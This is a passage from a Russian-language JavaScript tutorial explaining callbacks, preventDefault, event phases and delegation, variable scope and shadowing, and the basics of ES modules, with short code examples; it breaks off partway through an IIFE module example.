Посмотрим на колбэки с практической стороны. Выше мы сказали, что колбэки неразрывно связаны с асинхронностью и позволяют «запланировать» действие, которое будет совершено после выполнения какого-то другого, возможно длительного действия. Пример с заказом пиццы это прекрасно иллюстрирует. Давайте посмотрим, как это может выглядеть в коде, но для начала взглянем на синхронный код:

```
// Приготовление пиццы. Длительный процесс
const newPizza = makePizza('pepperoni');
// Читаем книгу пока готовят пиццу
readBook();

// Съедаем пиццу
eatPizza(newPizza);
```

Что в этом коде больше всего бросается в глаза? Правильно — последовательность. Здесь представлен синхронный код, который будет выполняться последовательно:

1. Мы ждём, пока для нас приготовят пиццу «Пепперони».
2. Затем мы читаем книгу.
3. Наконец-таки откладываем книгу в сторону и ужинаем пиццей.

Проблема видна невооружённым глазом — пока готовится пицца, мы вынуждены ждать и ничего не делать. Строка `readBook()` будет выполнена только **после** приготовления пиццы. Фактически мы начнём читать книгу после приготовления пиццы, а не **во время** готовки.

Само собой, в реальном мире вместо выпекания пиццы может быть любой долгий процесс, например, запрос на получение данных с сервера.

Такой запрос не выполняется мгновенно: браузеру понадобится время, чтобы найти IP-адрес сервера, установить соединение, передать запрос, дождаться ответа и т. д. Все эти действия занимают разное количество времени. Временные задержки будут постоянно отличаться и зависеть от скорости соединения с сетью, времени выполнения запроса на сервере и некоторых других факторов.

Синхронные запросы к серверу будут блокировать дальнейшее выполнение веб-приложения, и это уже очень плохо. Представьте, что каждый раз при отправке запроса к серверу интерфейс вашего приложения становится полностью недоступным.

Эту проблему решает асинхронность, и длительные операции лучше выполнять именно асинхронно. В этом варианте мы как бы откладываем длительную операцию «на потом» и вместо ожидания завершения выполняем другой код. В этой схеме прозрачно всё, кроме вопроса: «Как выполнить код после завершения асинхронной операции?». Ответ прост — функции обратного вызова.

В JavaScript функции являются объектами высшего порядка. Это означает, что функции можно передавать в другие функции в виде параметров или возвращать в виде результата выполнения.

Рассмотрим пример:

```
const foo = function () {
  return 'Hello, world!';
}

// Вызываем функцию и выводим результат в консоль
console.log(foo()); // Hello, world

// Выводим функцию в консоль без вызова
console.log(foo); // ƒ () { return 'Hello, world!'; }
```

В первом случае мы вызываем функцию `foo` при помощи круглых скобок и выводим результат выполнения в консоль. Во втором примере мы не делаем вызов функции (обратите внимание на отсутствие круглых скобок), и в консоль выводится содержимое функции. Выходит, нам ничего не мешает передать функцию в виде параметра для других функций:

```
const runIt = function (fn) {
  return fn(); // Вызываем функцию, переданную в качестве параметра
}

console.log(runIt(foo)); // Hello, world
```

Мы передали функцию `foo` в виде параметра и вызывали её внутри функции `runIt`. Вызов функции мы сделали стандартным образом — применяя круглые скобки.

Что в итоге? Мы передали ссылку на функцию в виде параметра и вызвали её внутри другой функции. В этом и заключается идея колбэков: мы передаём в виде параметров функции, которые будут вызваны «когда-нибудь потом».

И снова пицца

Вернёмся к примеру с приготовлением пиццы. Попробуем поэкспериментировать с кодом и перевести его на асинхронные рельсы. Напомню, наша задача — попросить приготовить пиццу, и читать книгу, пока пицца не будет готова.

```
const makePizza = function (title, cb) {
  console.log(`Заказ на приготовление пиццы «${title}» получен. Начинаем готовить…`);

  // setTimeout — встроенная функция для отложенного вызова колбэка.
  // Интерфейс у неё прост: первым аргументом нужно передать колбэк, а вторым — задержку
(таймаут) в милисекундах.
  // Ближе с setTimeout вы познакомитесь позже, в отдельном материале раздела.
  setTimeout(cb, 3000);
}

const readBook = function () {
  console.log('Читаю книгу «Колдун и кристалл»…');
}

const eatPizza = function () {
  console.log('Ура! Пицца готова, пора подкрепиться.');
}

makePizza('Пеперонни', eatPizza);
readBook();
```

Это рабочий код, попробуйте выполнить его в консоли и посмотреть на результат вывода. Он будет таким:

```
Заказ на приготовление пиццы «Пепперони» получен. Начинаем готовить…
Читаю книгу «Колдун и кристалл»…

// Здесь будет пауза

Ура! Пицца готова, пора подкрепиться.
```

Функция `makePizza` выполняется мгновенно, и сразу за ней последовал вызов readBook. Пока мы читали книгу, приготовилась пицца, и произошёл вызов функции `eatPizza` из функции `makePizza`.

Резюме

Как видите, ничего сверхъестественного в колбэках нет. Это обычная функция, которая будет выполнена не сейчас, а когда-нибудь потом. «Когда-нибудь» — не преувеличение. Мы не можем сказать, в какой момент времени это случится, но можем сказать, после какой именно функции — после выполнения функции приготовления пиццы.

Теория ~ 6 минут

Глава 5.3. Функции обратного вызова на практике

В прошлом разделе мы на примере заказа пиццы разобрались с тем, зачем нужны колбэки. Сейчас посмотрим на то, как работают запросы к серверу, как получать данные через AJAX.

Практически любое приложение на JavaScript взаимодействует с сервером. Нам постоянно приходится получать данные с помощью методологии AJAX. Попробуем запросить информацию о произвольном аккаунте с GitHub и вывести её в консоль. Такая программа может выглядеть так:

```
const loadData = function(url, cb) {
  const xhr = new XMLHttpRequest();
  xhr.open(`GET`, url);
  xhr.responseType = `json`;
  // После получения данных выполним cb.
  xhr.addEventListener(`load`, cb);
  xhr.send();
}

loadData(`https://api.github.com/users/AntonovIgor`, function (evt) {
  const response = evt.currentTarget.response;
  console.log(response);
});
```

В этом коде мы делаем запрос к серверу с помощью объекта `XMLHttpRequest`. Для удобства мы создали функцию `loadData`, которая принимает два параметра: адрес сервера, который отдаст нам набор информации, и функцию обратного вызова. Вызов этой функции произойдёт сразу после получения данных от сервера. Если вас смутило наименование параметра `cb` — не переживайте. Это общепринятый вариант обозначения функций обратного вызова (сокращение от callback). При виде cb становится очевидно, что в этот параметр должна передаваться ссылка на функцию.

Мы не будем детально рассматривать содержимое функции `loadData`. Подробно про взаимодействие с сервером расскажем в одном из следующих разделов учебника. Если коротко, то эта функция делает запрос к серверу и вызывает нашу функцию после получения ответа.

Обратите внимание, как мы вызываем функцию `loadData`. В первый параметр мы передаём адрес сервера, а во второй — ссылку на функцию. В этот раз мы не описывали функцию отдельно, а сделали это прямо «в параметре» — создали анонимную функцию. Подобный подход часто применяется, когда функция нужна один раз. В таких ситуациях нет смысла писать отдельный код — достаточно создать анонимную функцию в нужном месте.

Наша функция сработает сразу после получения ответа от сервера (произойдёт событие `load`) и выведет ответ сервера в консоль.

Колбэки повсюду

Даже если вам не требуется работать с сервером, довольно высоки шансы столкнуться с функциями обратного вызова.

Не верите? Хорошо, а как насчёт стандартных возможностей вроде перебирающих методов массивов: `.forEach()`, `.every()`, `.some()`, `.reduce()`, `.filter()`, или функции сортировки `.sort()`, или методе `.addEventListener()` (второй аргумент — функция, которая будет вызвана при наступлении события). Список можно продолжать до бесконечности.

Всякий раз, когда вы пишете код, похожий на этот, вы применяете функции обратного вызова:

```
[1, 2, 3, 4].forEach(function(it) {
  console.log(it)
});
```

Аналогично с установкой обработчиков событий. Каждый раз, когда вы подписываетесь на событие с помощью `addEventListener`, через её второй параметр вы определяете функцию обратного вызова, которая сработает при наступлении события. В мире JavaScript колбэки повсюду.

Как передать параметры в колбэк-функцию

Это очень важный вопрос, и в начале понимания сути колбэк-функций он может загнать в тупик.

Проблема в том, что мы привыкли передавать параметры явно: пишем имя функции, открываем круглые скобки и передаём значения. Этот подход применяется постоянно, но с колбэк-функциями дело обстоит иначе. Если мы укажем круглые скобки, то произойдёт вызов функции, а нам требуется передать ссылку на неё. Как поступить в этом случае?

Для этого нужно вспомнить про замыкания. Функции в JavaScript могут возвращать в качестве результата выполнения другие функции. А уже у них будет доступ к родительским областям видимости.

С таким подходом легко решить задачу передачи параметров в колбэк-функцию.

Код заказа пиццы, который мы написали в первой части, выглядел так:

```
const makePizza = function (title, cb) {
 console.log(`Заказ на приготовление пиццы «${title}» получен. Начинаем готовить…`);
 setTimeout(cb, 3000);
}

const readBook = function () {
 console.log(`Читаю книгу «Колдун и кристалл»…`);
}

const eatPizza = function () {
  console.log(`Ура! Пицца готова, пора подкрепиться.`);
}

makePizza(`Пепперонни`, eatPizza);
readBook();
```

Давайте модифицируем его и добавим для функции `eatPizza` параметр `drink`, через который будем передавать напиток:

```
const makePizza = function (title, cb) {
 console.log(`Заказ на приготовление пиццы «${title}» получен. Начинаем готовить…`);
 setTimeout(cb, 3000);
}

const readBook = function () {
 console.log(`Читаю книгу «Колдун и кристалл»…`);
}

const eatPizza = function (drink) {
 return function() {
   console.log(`Ура! Пицца готова, пора подкрепиться и запить ${drink}.`);
 }
}

makePizza(`Пепперони`, eatPizza(`Coca-Cola`));
readBook();
```

Первое, что мы сделали — внесли изменения в функцию `eatPizza`. Теперь она принимает параметр `drink` и возвращает новую функцию. В теле новой функции происходит вывод информации в консоль. Помимо текста, который у нас был, мы добавили вывод информации о напитке (`drink`). Теперь самое интересное. Функция `eatPizza` перестаёт быть функцией обратного вызова, вместо неё эту роль будет исполнять функция, которую возвращает `eatPizza`.

Мы изменили тело функции, и теперь нам требуется обновить вызов `makePizza`. Вторым параметром мы указываем не ссылку на `eatPizza`, а вызов функции, передав информацию о напитке. Получается, на место второго параметра будет передана новая функция, полученная в результате выполнения `eatPizza`.

Если представленный пример вызывает затруднение — обязательно перечитайте теорию замыканий.

Резюме

Колбэк-функции просты в применении и открывают много возможностей, но с большой силой приходит большая ответственность. Легко потеряться во вложенности колбэк-функций и познать все прелести ада функций обратного вызова. Любым подходом нужно пользоваться с осторожностью. Как не попасть в ад обратных вызов, мы поговорим в одной из ближайших статей.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 5.4. Действия браузера по умолчанию

Возможно, вам уже когда-то встречалась в коде такая строка — `evt.preventDefault()`. Например, в интерактивных курсах по JavaScript. Давайте подробно разберём, зачем она нужна.

При разработке таких типичных элементов интерфейса, как форма или попап, часто нужно изменить поведение браузера по умолчанию. Допустим, при клике по ссылке мы хотим, чтобы открывался попап, но вместо этого браузер будет автоматически переходить по адресу, указанному в атрибуте href. Или вот другая проблема — мы хотим перед отправкой формы проверять корректность введённых данных, но после нажатия на кнопку submit форма каждый раз будет отправляться на сервер, даже если там куча ошибок. Такое поведение браузера нам не подходит, поэтому мы научимся его переопределять.

Объект события и метод preventDefault

Событие — это какое-то действие, произошедшее на странице. Например, клик, нажатие кнопки, движение мыши, отправка формы и так далее. Когда срабатывает событие, браузер создаёт объект события `Event`. Этот объект содержит всю информацию о событии. У него есть свои свойства и методы, с помощью которых можно эту информацию получить и использовать. Один из методов как раз позволяет отменить действие браузера по умолчанию — `preventDefault()`.

`Event` можно передать в функцию-обработчик события и в ней указать инструкции, которые должны быть выполнены, когда оно сработает. При передаче объекта события в обработчик обычно используется сокращённое написание — `evt`.

Пример: когда ссылка — не ссылка

Ранее мы уже говорили о попапе, который должен появляться при клике на ссылку — давайте разберём этот кейс на практике. Так будет выглядеть разметка в упрощённом виде:

```
<a class="click-button" href="pop-up.html">Клик</a>

<div class="content">
  <!-- Здесь содержимое попапа -->
</div>
```

Мы хотим при клике на ссылку `click-button` добавлять элементу с классом `content` класс `show`. Он сделает попап видимым, поменяв значение свойства `display` с none на `block`. Напишем логику добавления этого класса с помощью JavaScript:

```
// Находим на странице кнопку и попап
const button = document.querySelector('.click-button');
const popup = document.querySelector('.content');

// Навешиваем на кнопку обработчик клика
button.onclick = function (evt) {
  // Отменяем переход по ссылке
  evt.preventDefault();

  // Добавляем попапу класс show, делая его видимым
  popup.classList.add('show');
};
```

Если мы уберём строку `evt.preventDefault()`, вместо попапа откроется отдельная страница `pop-up.html`, адрес которой прописан в атрибуте `href` у ссылки. Такая страница нужна, потому что мы хотим, чтобы вся функциональность сайта была доступна, если скрипт по какой-то причине не будет загружен. Именно поэтому мы изначально реализовали кнопку с помощью тега `a`, а не `button`. Но у нас с JavaScript всё в порядке, поэтому вместо отдельной страницы мы открыли попап, отменив действие браузера по умолчанию.

Пример: проверка формы перед отправкой

Разберём следующий кейс — отправку формы при нажатии на кнопку `submit`. Допустим, мы хотим перед отправкой проверять введённые данные, потому что в поле ввода обязательно должно быть значение 'Кекс' и никакое другое. Разметка формы:

```
<form class="form" action="#" method="post">
  <input class="name" type="text" id="name" name="name">
  <label for="name">Введите имя</label>

  <button type="submit">Готово!</button>
</form>
```

При нажатии на кнопку «Готово» сработает событие отправки формы `submit`, и форма отправится вне зависимости от корректности введённого значения, поэтому мы должны перехватить отправку.

```
// Находим на странице форму и инпут
const form = document.querySelector('.form');
const name = document.querySelector('.name');

// Навешиваем на форму обработчик отправки
form.onsubmit = function(evt) {
  // Проверяем введённое значение на соответствие
  if (name.value !== 'Кекс') {
    // Если значение не подходит, отменяем автоматическую отправку формы
    evt.preventDefault();
    // И выводим предупреждение в консоль
    console.log('Вы не Кекс!');
  }
};
```

Здесь мы не дали отправить форму при неверно введённом значении. Но если всё в порядке, условие не выполнится, и форма будет отправлена как обычно.

Неотменяемые события

Не для всех событий можно отменить действие по умолчанию. Например, событие прокручивания страницы `scroll` проигнорирует попытки отменить его. Чтобы узнать, можно отменить действие по умолчанию или нет, нужно обратиться к свойству `cancelable` объекта `Event`. Оно будет равно `true`, если событие можно отменить, и `false` — в обратном случае.

```
document.onscroll = function(evt) {
  // В консоль выведется false
  console.log(evt.cancelable);
  // Отмена не сработает
  evt.preventDefault();
};
```

В статье мы разобрали базовые примеры, когда может понадобиться отмена действия браузера по умолчанию. В реальной разработке вы будете сталкиваться с такой необходимостью довольно часто — при сложной валидации форм, предотвращении ввода пользователем неверных символов, создании самописного меню вместо стандартного (при клике правой кнопкой мыши) и так далее.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 3 минуты

Глава 5.5. Фазы событий

Работать с событиями несложно: достаточно подписаться на нужное событие с помощью `addEventListener` и подготовить функцию обратного вызова с кодом. При наступлении события эта функция выполнится. Рассмотрим небольшой пример:

```
<body>
  <form>
    <button type="submit" />
  </form>
</body>
```

При нажатии на кнопку событие `click` произойдёт почти на всех элементах. Порядок того, на каком элементе оно произойдёт первым, зависит от фазы события. В настоящее время в стандарте закреплено три фазы: захват, целевое событие и всплытие. Фаза целевого события, как правило, не используется.

Фаза захвата

Другие названия: погружение, перехват, capturing. На этой фазе, когда пользователь нажмёт на кнопку, событие произойдёт сначала на `body`, затем на `form`, и только потом оно опустится до `button`.

Отследить это можно, навесив обработчики одного и того же события (например, `click`) на каждый из тегов и добавив к ним вывод `console.log()` или `alert` — код, позволяющий идентифицировать элемент. В этом случае на стадии захвата сначала выведется последовательно результат обработчика на `body`, следом `form`, и в конце `button`.

Рисунок 1. Фаза захвата

Фаза всплытия

Вторая фаза называется всплытие (bubbling). Это та самая фаза, которая используется по умолчанию в addEventListener и в устаревшем способе добавления обработчика через.onclick.

Здесь наступление событий работает с точностью наоборот. Когда пользователь кликает по кнопке, сначала отработает обработчик на самой кнопке, затем на её первом родителе `form` и только потом дойдёт очередь до `body`. После этого (вне примера), событие поднимется до `html`, `document`, а в некоторых случаях и `window`.

Рисунок 2. Фаза всплытия

Порядок фаз

- Захват
- Событие на элементе (испускание, отправка, dispatch)
- Всплытие (*если возможно*)

Резюме

Важно запомнить: захват произойдёт в любом случае, а всплытие только если возможно. Всплытие возможно для *почти* всех событий, кроме `focus/onfocus`, `blur`, `mouseleave`, `mouseenter`.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 2 минуты

Глава 5.6. Делегирование событий

Делегирование событий — это подход, который сокращает количество однотипных обработчиков в коде.

Разберёмся на примере. Представим, что наша задача звучит так: обрабатывать клик на каждом элементе списка одинаковым обработчиком. Можно пройтись по каждому элементу и добавить обработчики:

```
<ul>
  <li>...</li> <!-- onListItemClick() -->
  <li>...</li> <!-- onListItemClick() -->
  <li>...</li> <!-- onListItemClick() -->
  <li>...</li> <!-- onListItemClick() -->
  <li>...</li> <!-- onListItemClick() -->
</ul>
```

```
// script.js
const onListItemClick = function (evt) {
  // Действия
}
```

Минусы решения

- Для каждого обработчика выделяется место в оперативной памяти. Если элементов станет много, то количество однотипных обработчиков может повлиять на быстродействие сайта
- Если в список добавятся новые элементы, то придётся за ними следить и вешать на них обработчики вручную, что увеличивает количество поддерживающего кода
- Хороший программист следует принципу **DRY** — Don't repeat yourself, избегает лишних повторений и не плодит одинаковые сущности без надобности

Делегирование

Вместо добавления одинаковых обработчиков на каждый элемент списка, добавим один обработчик на родительском элементе, то есть родителю *делегируется* (поручается) обработка событий его дочерних элементов:

```
<ul> <!-- onListClick() -->
  <li>...</li>
  <li>...</li>
  <li>...</li>
  <li>...</li>
  <li>...</li>
</ul>
```

```
// script.js
const onListClick = function (evt) {
  if (evt.target.nodeName === 'LI') {
    // Действия
  }
}
```

Как это работает

1. В момент клика на элементе `li`, ссылка на него записывается в свойство target интерфейса Event
2. Начинается стадия всплытия
3. Всплытие доходит и срабатывает на `ul`. Обработчик проверяет, является ли `evt.target` элементом списка и выполняет код.

Резюме

Используя делегирование событий, мы избавились от однотипных обработчиков и сделали нашу вёрстку легко масштабируемой: можем добавить сколько угодно дополнительных элементов списка и ничего не сломается.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Глава 6.1. Области видимости переменных и функций

Механизм областей видимости в JavaScript ограничивает видимость переменных и функций в разных частях программы, иначе бы разработчикам пришлось придумывать уникальные имена для всех переменных и функций в программе.

Области видимости могут вкладываться друг в друга и создавать иерархию. Переменные и функции, что объявлены в области видимости выше по иерархии, доступны в большем количестве мест программы, но только «вниз»:

```
const name = 'Кекс'; // Переменная объявлена вверху иерархии - просто в файле

function sayMyName () {
  const otherName = 'Борис'; // Переменная объявлена ниже по иерархии - внутри функции
}

sayMyName();
```

«Вниз» значит, что переменные из родительских областей видимости доступны в дочерних областях, а наоборот — нет:

```
const name = 'Кекс';

console.log(otherName); // Получим ReferenceErrror. Мы не можем обратиться к переменной,
объявленной ниже по иерархии

function sayMyName () {
  const otherName = 'Борис';

  console.log(name); // Если бы не ошибка выше, вывелось бы "Кекс". Внутри функции можно
обратиться к переменной, объявленной выше по иерархии
}

sayMyName();
```

Запомните как правило: переменные доступны только вниз

И дело не в том, в каком порядке выводятся переменные. Можем поменять их местами, результат будет прежний:

```
const name = 'Кекс';

function sayMyName () {
  console.log(name); // Выведет "Кекс".

  const otherName = 'Борис';
}

sayMyName();

console.log(otherName); // Получим ReferenceError.
```

Потому что дело именно во вложенности: переменная `name` объявлена просто в файле, а переменная `otherName` — внутри функции в этом же файле.

Дальше мы разберём, как синтаксически области видимости отделяются друг от друга, как их называют и о каких нюансах нужно помнить.

Теория ~ 5 минут

Глава 6.1.1. Глобальная и блочная области видимости

Теперь, когда с механизмом областей видимости разобрались, давайте рассмотрим, какие области видимости бывают и какие у них особенности. Начнём с двух самых важных областей, с которыми чаще всего придётся иметь дело в работе фронтендера.

Глобальная область видимости

Самая верхняя в иерархии областей видимости. Родительская для всех. Переменные, объявленные в глобальной области видимости, доступны везде на странице. Буквально!

Переменную `mascot` мы объявим в теге `<script>` HTML-файла страницы:

```
<!DOCTYPE html>
<html lang="ru">
  <body>
    <script type="text/javascript">
      let mascot;
    </script>
    <script type="text/javascript" src="main.js"></script>
    <script type="text/javascript" src="log.js"></script>
  </body>
</html>
```

Значение присвоим в подключённом к странице файле `main.js`:

```
// Файл main.js
mascot = 'Кекс';
```

А используем (выведем в консоль) — в подключённом файле `log.js`:

```
// Файл log.js
console.log(mascot); // "Кекс"
```

Чтобы переменная или функция попали в глобальную область видимости, нужно объявить их «прямо в JS-файле» (или в теге `<script>`) вне других конструкций.

▶ **Что такое `window`**

Благодаря глобальной области видимости можно объявить переменную в одном файле, задать ей значение в другом файле, а воспользоваться — вообще в третьем месте. До появления модулей в JavaScript (о них поговорим отдельно) у глобальной области видимости было одно преимущество: с её помощью можно обмениваться данными между подключёнными к странице JS-файлами.

Сейчас, когда в JavaScript есть модули, остались одни недостатки. И основной недостаток — это возможность случайно изменить значение глобальной переменной в одном из файлов, так сказать затереть исходное значение. И при использовании этой переменной в другом файле мы получим не то значение, которое ожидали. На первый взгляд может показаться, что такая ситуация — затереть исходную переменную — невозможна в нашем коде. Увы, на самом деле это весьма распространённая ошибка. Поэтому мы рекомендуем изучить модули и никогда не использовать глобальную область видимости.

Блочная область видимости

Самая универсальная из областей, прямо как тег `<div>` в вёрстке. А «блочная», потому что ограничителем выступает блок кода `{}`. Переменные, объявленные в блочной области видимости, доступны в ней самой и во вложенных в неё других блочных областях:

```
{
  const mascot = 'Кекс';
  if (2 > 1) {
    console.log(mascot); // "Кекс"
  }
}

{
  const mascot = 'Борис';
  console.log(mascot); // "Борис"
}

console.log(mascot); // ReferenceError: mascot is not defined
```

В двух блоках кода есть свои переменные `mascot`, в первом блоке переменная выводится в консоль во вложенной области видимости `if`, а вне блоков кода переменная `mascot` отсутствует, поэтому при попытке обратиться к ней мы получим ошибку `ReferenceError`. Правило «Переменные доступны только вниз» сохраняется.

▶ **Что же тогда «Локальная область видимости»**

Вместо резюме

Давайте закрепим на условном файле `scope.js` знания о глобальной и блочной областях видимости:

Области видимости, вложенные друг в друга

Функции `createRandomMascot()` и `getMascot()` объявлены просто в JS-файле, а значит попадают в глобальную область видимости, но сами создают блочные области видимости. Внутри блочной области видимости функции `getMascot()` у нас есть дочерняя блочная область видимости, созданная условием `if`.

Теперь к переменным:

Доступность переменных в разных областях видимости

Правило «Переменные доступны только вниз» сохраняется, поэтому внутри `getMascot()` доступна функция `createRandomMascot()` из глобальной области видимости, а вот переменные `otherMascot` и `htmlAcademyMascot`, объявленные внутри функции `getMascot()`, в глобальную область видимости не попадают. Переменная `htmlAcademyMascot` вообще доступна только в условии `if` и не попадает даже в область видимости функции `getMascot()`.

Теория ~ 6 минут

Глава 6.1.2. Модульная область видимости, лексическое окружение и прочие нюансы

Теперь, когда с двумя основными областями видимости разобрались, давайте рассмотрим нюансы.

Модульная область видимости

Это область видимости, создаваемая модулем. Модуль — это JS-файл (или тег `<script>`), написанный и подключаемый по особым правилам. О модулях мы ещё поговорим отдельно. Пока достаточно знать, что обычный JS-код становится модульным, если при подключении указать атрибут `type="module"`.

> **Ещё раз,** если скрипт подключён как модуль, то все переменные и функции, объявленные в этом модуле, в глобальную область видимости не попадают. При этом переменные из глобальной области видимости модулю доступны.

В область видимости модуля попадают переменные и функции, объявленные «прямо в JS-модуле» (или в теге `<script>`-модуле). Возьмём наш пример из прошлой главы и немного его изменим:

```
<!DOCTYPE html>
<html lang="ru">
  <body>
-     <script type="text/javascript">
+     <script type="module">
        let mascot;
    </script>
    <script type="text/javascript" src="main.js"></script>
  </body>
</html>
```

```
// Файл main.js
mascot = 'Кекс'; // ReferenceError: assignment to undeclared variable mascot
```

Как только мы превратили наш скрипт в модуль, указав `type="module"`, всё сломалось. Мы больше не можем в файле `main.js` обратиться к переменной `mascot`, потому что она существует только в модульной области видимости.

Но во всех вложенных областях переменная доступна, например она доступна во вложенной блочной области видимости функции `log()`:

```
<!DOCTYPE html>
<html lang="ru">
  <body>
    <script type="module">
      let mascot;

      function log () {
        mascot = 'Кекс';
        console.log(mascot);
      }

      log(); // "Кекс"
    </script>
    <script type="text/javascript" src="main.js"></script>
  </body>
</html>
```

Внутри модуля тоже работает правило «Переменные доступны только вниз».

Затенение переменных

Когда браузер читает JavaScript-код и встречает переменную, он ищет её объявление снизу вверх. То есть сперва в той области, где встретил переменную, а потом вверх по иерархии. Если вплоть до глобальной области видимости переменная будет не найдена, то выполнение прервётся ошибкой `ReferenceError`.

```
function log () {
  if (2 > 1) {
    console.log(mascot);
  }
}

log(); // ReferenceError: mascot is not defined
```

Чтобы вывести в консоль переменную `mascot`, JavaScript сперва поищет её в блоке кода `if`, затем в блоке функции `log()`, после в модульной области видимости (если файл — модуль) и в конце концов в глобальной области видимости, где тоже переменную не найдёт. Тут и случится ошибка.

Благодаря такому механизму поиска в областях разного уровня вложенности можно использовать переменные с одним и тем же именем:

```
function log () {
  const mascot = 'Кекс';
  console.log(mascot); // "Кекс"

  if (2 > 1) {
    const mascot = 'Борис';
    console.log(mascot); // "Борис"
  }
}

log();
```

Это называется затенение переменных родительских областей видимости, когда мы во вложенной области `if` объявляем одноимённую переменную с родительской областью функции `log()`.

Может показаться, что это удобно, что не придётся придумывать уникальные имена, однако именно затенение переменных часто приводит к долгим часам отладки кода, потому что стоит забыть затенить переменную, JavaScript ошибки не выдаст, он просто возьмёт значение переменной из родительской области видимости:

```
function log () {
  const mascot = 'Кекс';
  console.log(mascot); // "Кекс"

  if (2 > 1) {
    const mascot = 'Кекс';
    console.log(mascot); // "Кекс"
  }
}

log();
```

Мы получим оба раза `"Кекс"`, хотя ожидали одного Кекса и одного Бориса. Если вам кажется, что забыть объявить переменную трудно, то хочу напомнить, что параметры функции, те же переменные:

```
const menbers = [['Саша', 'Игорь'], ['Лидия', 'Сергей']];

menbers.forEach(() => {
  menbers.forEach((member) => {
    console.log(menber);
  })
});
```

Данный код выведет в консоль:

```
// ['Саша', 'Игорь']
// ['Лидия', 'Сергей']
// ['Саша', 'Игорь']
// ['Лидия', 'Сергей']
```

Хотя мы ожидали:

```
'Саша'
'Игорь'
'Лидия'
'Сергей'
```

А дело в том, что мы забыли параметр:

```
const menbers = [['Саша', 'Игорь'], ['Лидия', 'Сергей']];

-menbers.forEach(() => {
+menbers.forEach((menbers) => {
  menbers.forEach((member) => {
    console.log(menber);
  })
});
```

Если писать код правильно и придумать уникальные имена параметрам и переменным, такой ошибки не возникнет:

```
const groups = [['Саша', 'Игорь'], ['Лидия', 'Сергей']];

groups.forEach((members) => {
  members.forEach((member) => {
    console.log(member);
  })
});
// Выведет в консоль:
//   'Саша'
//   'Игорь'
//   'Лидия'
//   'Сергей'
```

Лексическая область видимости

Нет, это не ещё один вид области видимости. Лексической областью видимости называют набор всех переменных и параметров, доступных функции при объявлении. Из всех областей видимости, например:

```
const MAGIC = 42;

function print (intro) {
  function getMascot () {
    const good = 'Кекс';
    const bad = 'Мистер Бигглсуорт';

    if (MAGIC === 42) {
      return good;
    }

    return bad;
  }

  console.log(
    intro + ': ' + getMascot()
  );
}

print('Наш талисман'); // "Наш талисман: Кекс"
```

Функции `print()` доступна переменная `MAGIC` из глобальной области видимости, а в самой функции объявлен параметр `intro` и другая функция `getMascot()`. Значит лексическую область видимости функции `print()` составят значения `MAGIC`, `intro` и `getMascot()`.

Для функции `getMascot()` лексическая область будет похожей, плюс параметры и переменные внутри самой функции, итого: `MAGIC`, `intro`, `good` и `bad`. Мы не обязаны использовать все доступные значения, например `intro`, но они будут доступны просто потому что.

Важно понимать, что составляет лексическую область видимости, потому что её значения как бы прикрепляются к функции в момент объявления и доступны всегда и везде, где бы мы функции ни использовали (вызывали). А на этом строится другой механизм — замыкания.

Теория ~ 7 минут

Глава 6.2. Введение в ECMAScript-модули

Модуль — это функционально законченный фрагмент программы, оформленный в виде отдельного файла с исходным кодом.

Отдельный файл — это отдельный файл. Нечего добавить. Поговорим подробнее про «функционально законченный фрагмент программы».

Законченный фрагмент кода — это фрагмент, который выполняет конкретно поставленную задачу и ничего лишнего. Мы будем писать модули в разных файлах, где 1 файл = 1 модуль, который выполняет одну конкретную задачу. Но сначала давайте на примере разберёмся, зачем вообще нужны модули.

Представим, что нам поставили задачу построить самолёт. Нельзя просто так взять и построить самолёт. Сперва одна команда инженеров должна разработать чертежи, после другая команда техников должна собрать по этим чертежам фюзеляж, параллельно третья команда должна разработать двигатели для самолёта, четвёртая — авионику, пятая — салон и так далее. Если в будущем потребуется модифицировать этот самолёт, то при таком подходе не нужно будет разрабатывать самолёт заново, достаточно будет изменить что-то одно. Например, салон. Возьмём для примера самолёт Boeing 737. Кто часто летает, обращал внимание: у национального перевозчика несколько рядов бизнес-класса и пару десятков эконом-класса. А вот у лоукостера 32 ряда и все эконом-класса. В обоих случаях самолёт один и тот же — Boeing 737. Так и с приложением.

Преимущества модульного подхода

- Каждая команда фокусируется на своей задаче.
- Некоторые команды могут делать свою работу параллельно и независимо друг от друга.
- Команду или результат её работы можно легко заменить (в сравнении с немодульным подходом). Пример выше — в самолёт без проблем можно установить салон другой комплектации или от другого производителя, не изменяя конструкцию самолёта.

Из преимуществ вытекает другое правило — модули должны быть максимально универсальными.

Задачи модуля

Пространство имён

Модуль изолирует пространство имён, чтобы переменные из одного модуля не попадали в другой модуль, как это бывает с глобальными переменными. Всё, что создаётся в модуле, остаётся в модуле.

```
// Файл mother.js
const name = 'Eve';
```

```
// Файл father.js
const name = 'Adam';
```

Таким образом мы создадим два модуля `mother.js` и `father.js`, где в каждом будет своя переменная `name`. Ни одна из них не попадёт в глобальную область видимости `window`, а значит, если мы подключим оба файла к странице, не будет никаких конфликтов.

Зависимости

Модуль должен описывать и давать понимание, какие у него есть зависимости. Например, модуль может зависеть от других модулей.

```
// Файл cain.js
import {name} from './mother.js';

`My mother is ${name}`; // My mother is Eve
```

Модуль `cain.js` зависит от модуля `mother.js`, а конкретно от переменной `name`, полученной из этого модуля.

Про синтаксис `import` и `export` сейчас нужно знать лишь то, что они есть, что `import` — это импорт, а `export` — экспорт в прямых своих значениях. О всех остальных нюансах мы поговорим далее.

Интерфейс

Модуль должен описывать интерфейс — методы и свойства — которые он может предоставить другим модулям. Чтобы предыдущий пример работал, нам нужно показать, что у модуля `mother.js` в интерфейсе есть свойство `name`, которое могут использовать другие модули.

```
// Файл mother.js
const name = 'Eve';

export {name};
```

Модули до ECMAScript 2015

Раньше в JavaScript не было штатной возможности писать модульный код, поэтому разработчики выдумывали обходные пути. Например, использовали IIFE (Immediately Invoked Function Expression):

```
// Файл mother.js
'use strict';
(function() {
  window.mother = {
    name: 'Eve',
  };
})();
```

Суть этого подхода была в том, что задача пространства имён решалась с помощью области видимости IIFE, интерфейс реализовывался с помощью явной записи методов модуля в глобальную область видимости `window`, таким же образом использовались зависимости.

В качестве примера давайте рассмотрим организацию семьи в модульном подходе с помощью IIFE:

```
// Файл mother.js
'use strict';
(function() {
  window.mother = {
